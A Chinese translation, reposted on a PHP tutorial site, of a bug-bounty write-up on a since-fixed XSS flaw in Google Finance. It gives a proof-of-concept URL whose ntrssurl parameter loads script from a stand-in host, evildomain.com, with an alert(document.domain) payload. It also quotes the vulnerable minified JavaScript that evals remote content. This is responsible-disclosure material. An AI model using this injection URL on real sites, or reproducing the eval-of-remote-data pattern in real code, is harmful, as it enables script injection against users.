网站地图    收藏   

主页 > 后端 > 网站安全 >

我是如何在谷歌财经发现一个XSS漏洞,并且拿到

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 7月30日看到 Michele Spagnuolo 发的博文称他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。 以下是Michele 博文的译文。这个...

7月30日看到 Michele Spagnuolo 发的博文称“他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。” 以下是 Michele 博文的译文。

这个问题出现在Google Finance中(google.com/finance)。它能欺骗Javascript的走势图应用(源文件为/finance/f/sfe-opt.js),让其载入一个托管在外部域上的文件,然后通过eval()方法将该文件内容转换成Javascript代码并执行。

这个过程不需要用户交互,只要点击一下URL就可以了。

复现步骤:

1)点击该URL(目前已修复):

https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.

文件x.js包含下列验证代码用来演示:



 
alert(document.domain);
 
该文件必须通过https来托管。
 

 

2)远程Javascript被执行。

 

工作原理

以下是 /finance/f/sfe-opt.js中的两个代码片段,它们引起了这个安全问题。

c.push("ntsp=");
c.push(b);
if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || "")));
return c.join("")


 

在上面这段代码中,URL参数,更确切的说是ntrssurl参数(用户RSS源的地址)被获取并进行了连接。

 

Xi.prototype.send = function (a, b, c, d) {
    a = a || null;
    d = d || "_" + (Yi++).toString(36) + x().toString(36);
    n._callbacks_ || (n._callbacks_ = {});
    var e = this.$s.Z();
    if (a)
        for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]); 
    b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_." + d));
    b = Wi(e.toString(), {
        timeout: this.We,
        Ns: !0
    });
    Si(b, null, $i(d, a, c), void 0);
    return {
        La: d,
        Du: b
    }
};



第二段代码负责在外部域中查询新闻源以将内容显示在走势图中。

它生成一个回调函数名,以字串 “?_CALLBACK_”结尾。函数Wi对URL中的ntrssurl参数中的域名执行xmlhttprequest操作。

然后,返回了一段简单的Javascript代码,并且通过eval()方法将其执行。

/uploads/allimg/c150417/1429235B2FG0-105221.jpg触发XSS漏洞的截图

\
callback 请求截图

\

有漏洞的代码片段

这个安全隐患很快就被修复了,我因此得到了5000美元的奖励。

非常感谢,Google安全小组!


自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论